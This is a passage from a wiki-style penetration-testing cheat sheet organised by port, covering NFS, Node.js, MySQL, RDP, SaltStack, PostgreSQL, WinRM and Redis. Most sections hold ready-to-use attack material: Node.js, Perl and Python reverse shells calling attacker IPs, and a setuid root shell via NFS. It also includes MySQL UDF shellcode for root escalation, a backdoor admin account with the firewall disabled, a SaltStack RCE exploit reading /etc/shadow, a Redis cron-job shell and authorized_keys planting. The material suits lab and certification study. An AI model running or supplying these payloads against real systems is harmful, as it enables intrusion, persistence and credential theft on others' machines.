# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 2049 - NFS ==&lt;br /&gt;
&lt;br /&gt;
=== no_root_squash ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS&lt;br /&gt;
&lt;br /&gt;
=== Access NFS through ssh tunnel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c&lt;br /&gt;
# Output from /etc/exports on target&lt;br /&gt;
/srv/Share 10.1.1.0/24(insecure,rw)&lt;br /&gt;
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)&lt;br /&gt;
# Forward connection - Run the ssh command on attacker&lt;br /&gt;
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049&lt;br /&gt;
mount -t nfs 127.0.0.1:/srv/pelota my_share&lt;br /&gt;
cd my_share&lt;br /&gt;
cat &amp;gt; shell.c&lt;br /&gt;
int main(){&lt;br /&gt;
  setuid(0);&lt;br /&gt;
  setgid(0);&lt;br /&gt;
  system(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
EOF&lt;br /&gt;
gcc shell.c -o shell&lt;br /&gt;
chmod u+s shell&lt;br /&gt;
# Reverse connection - Run the ssh command on target&lt;br /&gt;
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.&lt;br /&gt;
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176&lt;br /&gt;
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3000 - NodeJs ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell&lt;br /&gt;
# The Javascript code below is a Node.js reverse shell.&lt;br /&gt;
# Remember to change the IP address and PORT with the nc you are running.&lt;br /&gt;
(function(){&lt;br /&gt;
    var net = require(&amp;quot;net&amp;quot;),&lt;br /&gt;
        cp = require(&amp;quot;child_process&amp;quot;),&lt;br /&gt;
        sh = cp.spawn(&amp;quot;/bin/sh&amp;quot;, []);&lt;br /&gt;
    var client = new net.Socket();&lt;br /&gt;
    client.connect(8080, &amp;quot;192.168.33.1&amp;quot;, function(){&lt;br /&gt;
        client.pipe(sh.stdin);&lt;br /&gt;
        sh.stdout.pipe(client);&lt;br /&gt;
        sh.stderr.pipe(client);&lt;br /&gt;
    });&lt;br /&gt;
    return /a/; // Prevents the Node.js application form crashing&lt;br /&gt;
})();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3306 - MySQL/MariaDB ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf&lt;br /&gt;
# User-defined function (UDF)&lt;br /&gt;
# If you can login as root you can create a malicious functions to run commands.&lt;br /&gt;
https://www.exploit-db.com/exploits/1518&lt;br /&gt;
# You can also compile it on attacker if target dont have gcc. Use --static.&lt;br /&gt;
# Check if secure_file_priv. If empty means disabled&lt;br /&gt;
show variables like &#039;%secure_file_priv%&#039;;&lt;br /&gt;
# Find plugin path. Add the path on step file (dumpfile)&lt;br /&gt;
show variables like &#039;%plugin%&#039;;&lt;br /&gt;
$ gcc -g -c raptor_udf2.c&lt;br /&gt;
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc&lt;br /&gt;
# Can also transfer exploit raptor_udf2.so with hex.&lt;br /&gt;
## xxd -p raptor_udf2.so | tr -d &#039;\n&#039; &amp;gt; raptor_udf2.so.hex&lt;br /&gt;
 * $ mysql -u root -p&lt;br /&gt;
 * Enter password:&lt;br /&gt;
 * [...]&lt;br /&gt;
# Set variable for shellcode&lt;br /&gt;
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
 * mysql&amp;gt; use mysql;&lt;br /&gt;
 * mysql&amp;gt; create table foo(line blob);&lt;br /&gt;
 * mysql&amp;gt; insert into foo values(load_file(&#039;/home/raptor/raptor_udf2.so&#039;));&lt;br /&gt;
# Output shellcode to file on target&lt;br /&gt;
## select binary @shell into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from foo into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; create function do_system returns integer soname &#039;raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from mysql.func;&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | name      | ret | dl             | type     |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | do_system |   2 | raptor_udf2.so | function |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * mysql&amp;gt; select do_system(&#039;id &amp;gt; /tmp/out; chown raptor.raptor /tmp/out&#039;);&lt;br /&gt;
# OR&lt;br /&gt;
select do_system(&#039;cp /bin/bash /tmp/out; chmod +xs /tmp/out&#039;);&lt;br /&gt;
 * mysql&amp;gt; \! sh&lt;br /&gt;
 * sh-2.05b$ cat /tmp/out&lt;br /&gt;
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)&lt;br /&gt;
 * [...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation method 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mysqludf/lib_mysqludf_sys&lt;br /&gt;
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.&lt;br /&gt;
xxd -p lib_mysqludf_sys.so| tr -d &#039;\n&#039; &amp;gt; lib_mysqludf_sys.so.hex&lt;br /&gt;
cat lib_mysqludf_sys.so.hex |  xclip -selection clipboard&lt;br /&gt;
MariaDB [(none)]&amp;gt; select @@plugin_dir&lt;br /&gt;
MariaDB [(none)]&amp;gt;  set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this &#039;/usr/lib/lib_mysqludf_sys.so&lt;br /&gt;
MariaDB [(none)]&amp;gt; create function sys_exec returns int soname &#039;udf_sys_exec.so&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select * from mysql.func where name=&#039;sys_exec&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select sys_exec(&#039;cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/mysqludf/lib_mysqludf_sys.git&lt;br /&gt;
cd lib_mysqludf_sys&lt;br /&gt;
rm lib_mysqludf_sys.so&lt;br /&gt;
sed -i &#039;s|$(LIBDIR)|.|g&#039; Makefile&lt;br /&gt;
sed -i &#039;s|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g&#039; Makefile&lt;br /&gt;
ex lib_mysqludf_sys.c &amp;lt;&amp;lt;&amp;lt;&amp;quot;57,62m27|wq&amp;quot;&lt;br /&gt;
sudo apt install libmariadbd-dev&lt;br /&gt;
make&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3389 - RDP ==&lt;br /&gt;
&lt;br /&gt;
=== Add user and enable RDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md&lt;br /&gt;
net user aghanim Password123 /add&lt;br /&gt;
net localgroup Administrators aghanim /add&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; aghanim /ADD&lt;br /&gt;
# Enable RDP&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
Turn firewall off&lt;br /&gt;
netsh firewall set opmode disable&lt;br /&gt;
Or like this&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
If you get this error:&lt;br /&gt;
&amp;quot;ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?&lt;br /&gt;
Failed to connect, CredSSP required by server.&amp;quot;&amp;quot;&lt;br /&gt;
Add this reg key:&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&amp;quot; /v UserAuthentication /t REG_DWORD /&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ThinVNC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47519&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 4505, 4506 - zmtp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in&lt;br /&gt;
# https://github.com/jasperla/CVE-2020-11651-poc&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 --exec &amp;quot;nc 127.0.0.1 4444 -e /bin/sh&amp;quot;&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 -r /etc/shadow&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5432, 5433 - PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psql -U  # Open psql console with user&lt;br /&gt;
psql -h  -U  -d  # Remote connection&lt;br /&gt;
psql -h  -p  -U  -W   # Remote connection&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
psql -h localhost -d  -U  #Password will be prompted&lt;br /&gt;
\list # List databases&lt;br /&gt;
\c  # use the database&lt;br /&gt;
\d # List tables&lt;br /&gt;
\du+ # Get users roles&lt;br /&gt;
#Read a file&lt;br /&gt;
CREATE TABLE demo(t text);&lt;br /&gt;
COPY demo from &#039;[FILENAME]&#039;;&lt;br /&gt;
SELECT * FROM demo;&lt;br /&gt;
#Write ascii to a file (copy to cannot copy binary data)&lt;br /&gt;
COPY (select convert_from(decode(&#039;&#039;,&#039;base64&#039;),&#039;utf-8&#039;)) to &#039;C:\\some\\interesting\path.cmd&#039;;&lt;br /&gt;
#List databases&lt;br /&gt;
SELECT datname FROM pg_database;&lt;br /&gt;
#Read credentials (usernames + pwd hash)&lt;br /&gt;
SELECT usename, passwd from pg_shadow;&lt;br /&gt;
#Check if current user is superiser&lt;br /&gt;
SELECT current_setting(&#039;is_superuser&#039;); #If response is &amp;quot;on&amp;quot; then true, if &amp;quot;off&amp;quot; then false&lt;br /&gt;
#Check if plpgsql is enabled&lt;br /&gt;
SELECT lanname,lanacl FROM pg_language WHERE lanname = &#039;plpgsql&#039;&lt;br /&gt;
#Change password&lt;br /&gt;
ALTER USER user_name WITH PASSWORD &#039;new_password&#039;;&lt;br /&gt;
#Check users privileges over a table (pg_shadow on this example)&lt;br /&gt;
SELECT grantee, privilege_type&lt;br /&gt;
FROM information_schema.role_table_grants&lt;br /&gt;
WHERE table_name=&#039;pg_shadow&#039;&lt;br /&gt;
#Get users roles&lt;br /&gt;
SELECT&lt;br /&gt;
      r.rolname,&lt;br /&gt;
      r.rolsuper,&lt;br /&gt;
      r.rolinherit,&lt;br /&gt;
      r.rolcreaterole,&lt;br /&gt;
      r.rolcreatedb,&lt;br /&gt;
      r.rolcanlogin,&lt;br /&gt;
      r.rolconnlimit, r.rolvaliduntil,&lt;br /&gt;
  ARRAY(SELECT b.rolname&lt;br /&gt;
        FROM pg_catalog.pg_auth_members m&lt;br /&gt;
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)&lt;br /&gt;
        WHERE m.member = r.oid) as memberof&lt;br /&gt;
, r.rolreplication&lt;br /&gt;
FROM pg_catalog.pg_roles r&lt;br /&gt;
ORDER BY 1;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce&lt;br /&gt;
#PoC&lt;br /&gt;
DROP TABLE IF EXISTS cmd_exec;&lt;br /&gt;
CREATE TABLE cmd_exec(cmd_output text);&lt;br /&gt;
COPY cmd_exec FROM PROGRAM &#039;id&#039;;&lt;br /&gt;
SELECT * FROM cmd_exec;&lt;br /&gt;
&lt;br /&gt;
postgres=# COPY cmd_exec FROM PROGRAM &#039;perl -MIO -e &#039;&#039;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;quot;192.168.49.115:80&amp;quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;;&lt;br /&gt;
COPY 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5800, 5801, 5900, 5901 - VNC ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5985, 5986 - WinRM ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
The easiest way to connect to WinRM using C# is to use &#039;&#039;&#039;WSMAN Automation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Reference &amp;lt;code&amp;gt;wsmauto.dll&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;Windows\System32&amp;lt;/code&amp;gt; in your project.&lt;br /&gt;
&lt;br /&gt;
The following code should work:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
IWSMan wsman = new WSManClass();&lt;br /&gt;
IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();&lt;br /&gt;
if (options != null)&lt;br /&gt;
{&lt;br /&gt;
    try&lt;br /&gt;
    {&lt;br /&gt;
        // options.UserName = ???;&lt;br /&gt;
        // options.Password = ???;&lt;br /&gt;
        IWSManSession session = (IWSManSession)wsman.CreateSession(&amp;quot;http://&amp;lt;your_server_name&amp;gt;/wsman&amp;quot;, 0, options);&lt;br /&gt;
        if (session != null)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                // retrieve the Win32_Service xml representation&lt;br /&gt;
                var reply = session.Get(&amp;quot;http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt&amp;quot;, 0);&lt;br /&gt;
                // parse xml and dump service name and description&lt;br /&gt;
                var doc = new XmlDocument();&lt;br /&gt;
                doc.LoadXml(reply);&lt;br /&gt;
                foreach (var elementName in new string[] { &amp;quot;p:Caption&amp;quot;, &amp;quot;p:Description&amp;quot; })&lt;br /&gt;
                {&lt;br /&gt;
                    var node = doc.GetElementsByTagName(elementName)[0];&lt;br /&gt;
                    if (node != null) Console.WriteLine(node.InnerText);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            finally&lt;br /&gt;
            {&lt;br /&gt;
                Marshal.ReleaseComObject(session);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    finally&lt;br /&gt;
    {&lt;br /&gt;
        Marshal.ReleaseComObject(options);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Source:&lt;br /&gt;
&lt;br /&gt;
* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp stackoverflow]&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
=== WinRM development and lab setup === &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;WSMan COM API&#039;&#039;&#039; (&amp;lt;code&amp;gt;WSManClass&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;IWSManSession&amp;lt;/code&amp;gt;) fire-and-forget command execution via &amp;lt;code&amp;gt;Win32_Process&amp;lt;/code&amp;gt;. Does not return stdout.&lt;br /&gt;
* &#039;&#039;&#039;PowerShell Runspace API&#039;&#039;&#039; (&amp;lt;code&amp;gt;WSManConnectionInfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;RunspaceFactory&amp;lt;/code&amp;gt;) Requires &amp;lt;code&amp;gt;System.Management.Automation&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The steps below needs to be run &#039;&#039;&#039;on the machine you want to connect to&#039;&#039;&#039;. WinRM needs to be configured to accept incoming connections, allow unencrypted HTTP traffic, and accept Basic authentication (required for workgroup/local accounts).&lt;br /&gt;
&lt;br /&gt;
The stepsbelow is needed if you are connecting to a machine that is not part of a domain. When its part of a AD domain it will automatically use Kerberos. The DC will act as the trusted third party to verify identity. No need to add to TrustedHosts, or set Basic auth and AllowUnencrypted. It is encrypted via Kerberos by default. &lt;br /&gt;
&lt;br /&gt;
1. Set Network Profile to Private &lt;br /&gt;
&lt;br /&gt;
WinRM will refuse to configure its firewall exception if the active network adapter is set to &amp;quot;Public&amp;quot;. This is a Windows security policy. Change it to Private first.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Find the interface index&lt;br /&gt;
Get-NetConnectionProfile&lt;br /&gt;
&lt;br /&gt;
# Set it to Private&lt;br /&gt;
Set-NetConnectionProfile -InterfaceIndex &amp;lt;INDEX&amp;gt; -NetworkCategory Private&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Run quickconfig&lt;br /&gt;
&lt;br /&gt;
starts the WinRM service, sets it to auto-start, and creates the firewall exception. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
winrm quickconfig&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Enable Basic Auth + Unencrypted Traffic&lt;br /&gt;
&lt;br /&gt;
By default WinRM requires encrypted transport (HTTPS). Since we&#039;re using plain HTTP (port 5985), we need to allow unencrypted traffic. Basic auth is also disabled by default so it needs to be on for local/workgroup accounts.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
winrm set winrm/config/service &#039;@{AllowUnencrypted=&amp;quot;true&amp;quot;}&#039;&lt;br /&gt;
winrm set winrm/config/service/auth &#039;@{Basic=&amp;quot;true&amp;quot;}&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Registry if the above failes:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Service&amp;quot; `&lt;br /&gt;
    -Name &amp;quot;allow_unencrypted&amp;quot; -Value 1&lt;br /&gt;
Restart-Service WinRM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify: &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
winrm get winrm/config/service&lt;br /&gt;
# Look for:&lt;br /&gt;
# AllowUnencrypted = true&lt;br /&gt;
# Auth/Basic       = true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now on your local machine that is &#039;&#039;&#039;connecting to the target&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
1. Enable WinRM&lt;br /&gt;
&lt;br /&gt;
WinRM needs to be running locally to manage client settings like TrustedHosts, even if you&#039;re only using it as a client and not accepting inbound connections.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Start-Service WinRM&lt;br /&gt;
Set-Service WinRM -StartupType Automatic&lt;br /&gt;
winrm quickconfig&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Add to TrustedHosts&lt;br /&gt;
&lt;br /&gt;
When connecting to a machine that isn&#039;t domain-joined (workgroup), Windows doesn&#039;t have a way to verify its identity via Kerberos. TrustedHosts tells your WinRM client &amp;quot;trust this IP even without domain auth&amp;quot;. Without this, every connection attempt throws a &amp;lt;code&amp;gt;PSRemotingTransportException&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Trust a specific target&lt;br /&gt;
Set-Item WSMan:\localhost\Client\TrustedHosts -Value &amp;quot;10.x.x.x&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
# Lab only — trust everything &lt;br /&gt;
Set-Item WSMan:\localhost\Client\TrustedHosts -Value &amp;quot;*&amp;quot; -Force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Allow Unencrypted + Basic on Client Side&lt;br /&gt;
&lt;br /&gt;
Both sides need to allow unencrypted traffic and Basic auth, otherwise the connection is rejected before it even reaches the target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
winrm set winrm/config/client &#039;@{AllowUnencrypted=&amp;quot;true&amp;quot;}&#039;&lt;br /&gt;
winrm set winrm/config/client/auth &#039;@{Basic=&amp;quot;true&amp;quot;}&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
CLEANUP:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Item WSMan:\localhost\Client\TrustedHosts -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
Stop-Service WinRM&lt;br /&gt;
Set-Service WinRM -StartupType Disabled&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 6370 - Redis ==&lt;br /&gt;
&lt;br /&gt;
=== Commands &amp;amp; info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Service file&lt;br /&gt;
/etc/systemd/system/redis.service&lt;br /&gt;
# Config file&lt;br /&gt;
installdir/redis/etc/redis. conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crontab ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Urahara:~# echo -e &amp;quot;\n\n*/1 * * * * /usr/bin/python -c &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;10.85.0.53\&amp;quot;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/sh\&amp;quot;,\&amp;quot;-i\&amp;quot;]);&#039;\n\n&amp;quot;|redis-cli -h 10.85.0.52 -x set 1&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping database ===&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Sybaris writeup&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module&lt;br /&gt;
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.&lt;br /&gt;
# Then you need some way to upload the compiled module&lt;br /&gt;
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so&lt;br /&gt;
# List loaded modules to check it was correctly loaded: MODULE LIST&lt;br /&gt;
# Execute commands:&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;id&amp;quot;&lt;br /&gt;
&amp;quot;uid=0(root) gid=0(root) groups=0(root)\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;whoami&amp;quot;&lt;br /&gt;
&amp;quot;root\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.rev 127.0.0.1 9999&lt;br /&gt;
Unload the module whenever you want: MODULE UNLOAD mymodule&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Redis-rogue server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# A exploit for Redis(&amp;lt;=5.0.5) RCE&lt;br /&gt;
# https://github.com/n0b0dyCN/redis-rogue-server&lt;br /&gt;
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf&lt;br /&gt;
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa&lt;br /&gt;
# 2 Write the public key to a file : (echo -e &amp;quot;\n\n&amp;quot;; cat ~/id_rsa.pub; echo -e &amp;quot;\n\n&amp;quot;) &amp;gt; spaced_key.txt&lt;br /&gt;
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key&lt;br /&gt;
# 4 Save the public key to the authorized_keys file on redis server:&lt;br /&gt;
# 4&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /var/lib/redis/.ssh&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename &amp;quot;authorized_keys&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
